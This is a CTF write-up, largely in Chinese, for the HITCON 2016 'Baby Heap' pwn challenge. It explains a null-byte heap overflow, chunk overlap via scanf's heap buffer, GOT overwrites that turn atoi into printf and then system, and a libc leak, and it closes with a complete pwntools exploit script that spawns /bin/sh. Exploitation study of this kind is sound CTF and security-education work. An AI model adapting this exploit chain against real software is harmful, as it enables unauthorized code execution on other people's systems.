Notice
For English information, just get a closer look
at my exp.py.
題目
Heap so fun! Baby, don’t do it first. nc 52.68.77.85 8731 note : the service is running on ubuntu 16.04
地址:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/baby-heap-300
分析
題目本身來講比較可疑的是提示了ubuntu 16.04,看來需要用到這個信息,應該是ubuntu 16.04有一些奇妙的東西。
題目邏輯
4種操作,一個結構體:
結構體:
struct Note{
__int64 len;
char name[8];
char *content;
};
用來表示一個記錄。
操作:
1. new: 新建一個Note結構體,先malloc結構體,然後malloc content,輸入content,再輸入name
2. edit: 直接edit content的內容,有一個標誌位,edit之後標誌位會被記錄,之後再edit會直接退出
3. delete: 直接刪除,先free content後free結構體,同樣有標誌位,delete之後被記錄,無法再delete
4. exit: 通過scanf("%2s", xxx)
來讀入一個操作,如果操作以n開始則繼續,否則退出
漏洞點
在new中輸入name的時候,存在一個null-byte-overflow,根據結構體的形式,會覆蓋到content的最末位。
利用思路
現在我們可以使得content變爲xxxx00的形式,因爲先malloc結構體,所以結構體一開始是位於xxxx10的,而
xxxx00是結構體這個chunk的頭部,xxxx00的頭部位於xxxx00-0x10,這個位置是沒有頭部的,而這個題操作
大多隻能執行一次,所以需要非常節約。
這裏就需要用到題目信息了:
在ubuntu16.04,scanf採用了堆作爲其buffer
這就是說對於這個題目而言,超過2位的scanf數據將會被存在堆上,這樣我們就相當於多了一個malloc和free了。
那麼我們可以首先利用這個,使得xxxx00-0x10位置有一個頭部,這樣的話,null-byte-overflow之後我們就可以
進行free了,free的結果將會產生兩個overlapped chunk. 這樣的話再次進行new的時候,由於overlap,就可以通過
在輸入content的內容時候覆蓋到content指針,使得edit造成任意寫。
任意寫之後的問題就是如何利用唯一的一次寫來獲取到shell。
首先,如何獲取libc地址?
單獨通過這一次edit來說,無論如何也沒有機會,因爲根本沒有輸出,所以最終我們選擇的方法是,覆蓋GOT表,從
_exit一直覆蓋到atoi,覆蓋_exit是因爲將_exit覆蓋之後,我們就可以多次edit了,atoi的覆蓋是因爲atoi的參數
是用戶輸入值,覆蓋爲printf可以造成格式化字符串漏洞。
printf代替atoi之後,我們依然可以通過控制printf的返回值,也就是輸出字符數來選擇選項。
那麼,我們使用格式化字符串漏洞獲取到free的地址(因爲free的地址沒有被我們改寫),可以得到libc的base,
接下來再通過一次edit(現在可以edit了,因爲_exit被改了,相當於使得_exit無效了),將atoi再改爲system,
choice輸入參數就可以搞定了。
所以最終思路:
1. 通過scanf讀入0x1000,使得最後位置有一個fake_header
2. null-byte-overflow
3. delete掉剛纔的結構體,使得content和結構體chunk交叉,並且都加入free list
4. 再次new,使得剛纔交叉的chunk被返回,添加時候構造content的值,修改content的指針爲GOT表的位置
5. 通過edit修改GOT表,主要是修改atoi爲printf,_exit爲任意一個可用的ret的地址(可用主要是要避免換行製表符等等),
其餘需要用到的函數,修改爲PLT中該函數位置+6,這樣調用這個函數會進入dl-resolve,依然可以調用
6. 通過我們構造的格式化字符串漏洞得到free函數的地址,從而得到libc_base
7. 通過輸入3個字符,再次edit,使得atoi變爲system函數
8. choice處輸入/bin/sh字符串,使得字符串被傳入atoi(也就是system),獲取shell
一點小問題
- scanf讀入大於2個字符之後會放入堆,但是隻能使用一次,第二次的時候會從緩衝區先取內容,而非重新malloc free一個新的
- 使用read的時候要注意進行一次raw_input,避免read被連起來導致IO有問題
exp.py
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
DEBUG = 1
GDB = 0
if DEBUG:
p = process("./babyheap")
elf = ELF("./babyheap")
libc = ELF("/usr/lib/libc.so.6")
def split_input(func):
def _func(*arg, **args):
a = raw_input()
func(*arg, **args)
return _func
@split_input
def new(size, content, name):
p.recvuntil("choice:")
p.send('1')
p.recvuntil('Size :')
p.send(str(size))
p.recvuntil('Content:')
p.send(content)
p.recvuntil('Name:')
p.send(name)
@split_input
def delete():
p.recvuntil('choice:')
p.send('2')
@split_input
def edit(content):
p.recvuntil('choice:')
# here we send 3 and 3 characters for later use
p.send('3 \x00')
p.recvuntil('Content:')
p.send(content)
@split_input
def exit(content):
p.recvuntil('choice:')
p.send('4')
p.recvuntil('/n)')
p.send(content)
@split_input
def choose(which):
p.recvuntil('choice:')
p.send(which)
def pwn():
# Note that scanf use heap as buffer on ubuntu 16.04
# So, we use this, to get a 0x1000 chunk on heap
# and ends with the fake header, which will be used
# later
fake_header = p64(0) + p64(0x81)
fake_header += fake_header
payload = fake_header.rjust(0x1000, 'n')
exit(payload)
# when we get a new note, we get a chunk after
# the first allocated buffer of scanf
# and, of course, when we have a name of length of 8
# we get a null-byte overflow into the content buffer
# so, the content will points to some address ends with 00
new(0x80, p64(0x81) * (0x80 / 0x8), 'c' * 8)
# since we have a fake header there, before xxxx00,
# we can free this two address
delete()
# now, when we new another note, we can rewrite the
# address of the content, since the address freed has
# been overlapped
payload = 'a' * 0x20
payload += p64(0x80)
payload += 'b' * 8
payload += p64(elf.got['_exit'])
new(0x70, payload.ljust(0x70), 'b' * 5)
# but we don't know the libc_base address yet.
# so, we rewrite all of the GOT address, except
# for scanf and free. That is because all we need
# actually is atoi and _exit.
# we overwrite _exit so that we can edit again.
# we overwrite atoi so that we can let it be printf,
# thus, a format string bug will let us read arbitrary address.
log.info("printf at plt: " + hex(elf.plt['printf']))
payload = p64(0x400c9d) # _exit: ret
payload += p64(elf.plt['read'] + 6) # __read_chk: read
payload += p64(elf.plt['puts'] + 6) # puts
payload += p64(0) # stack_chk_fail doesn't matter
payload += p64(elf.plt['printf'] + 6) # printf
payload += p64(0) # alarm: doesn't matter
payload += p64(elf.plt['read'] + 6) # read: read, we need this
payload += p64(0) # __libc_start_main: doens't matter
payload += p64(0) # signal doesn't matter
payload += p64(0) # malloc, doesn't matter, we don't need new now
payload += p64(0) # setvbuf, doesn't matter
payload += p64(elf.plt['printf'] + 6) # atoi: printf, truly important
edit(payload)
# when we get to choose, we have a format string bug here now
# first, we use this bug to get an arbitrary read, so we can
# read the free function, since it is not changed, from that
# we can calculate the libc base
p.recvuntil('choice:')
p.sendline("%9$spp " + p64(elf.got['free'] + 1))
free_leak = p.recvuntil('pp')
temp = free_leak[:5]
temp = '\x00' + temp + '\x00\x00'
log.info(temp)
free_leak = u64(temp)
log.info(hex(free_leak))
libc_base = free_leak - libc.symbols['free']
log.info("libc base:" + hex(libc_base))
# now we get libc base address
# rewrite atoi to 'system' function address
# and we can trigger the shell
# To do so, we have to edit again.
# We have changed atoi function to printf before
# we have to use printf's return value to get into
# edit option
# printf returns the char printed, so we print 3 chars to get
# to edit option
# (but here we have done this in edit, always output 3 chars
# with '3' in it, so, TADA)
system_addr = libc_base + libc.symbols['system']
# copy the previous payload, change atoi only
payload = p64(0x400c9d) # _exit: ret
payload += p64(elf.plt['read'] + 6) # __read_chk: read
payload += p64(elf.plt['puts'] + 6) # puts
payload += p64(0) # stack_chk_fail doesn't matter
payload += p64(elf.plt['printf'] + 6) # printf
payload += p64(0) # alarm: doesn't matter
payload += p64(elf.plt['read'] + 6) # read: read, we need this
payload += p64(0) # __libc_start_main: doens't matter
payload += p64(0) # signal doesn't matter
payload += p64(0) # malloc, doesn't matter, we don't need new now
payload += p64(0) # setvbuf, doesn't matter
payload += p64(system_addr) # atoi, change to system function
edit(payload)
# now choose becomes system
# send the argument, and TADA~~
sh_str = '/bin/sh\x00'
choose(sh_str)
p.interactive()
def main():
if GDB:
commands = [
"b *0x400b35", # delete free 1
"b *0x400b44", # delete free 2
"b *0x400bd3", # edit puts("done")
"b *0x400948", # before read_chk
]
command = '\n'.join(commands)
pwnlib.gdb.attach(p, command)
pwn()
if __name__ == '__main__':
main()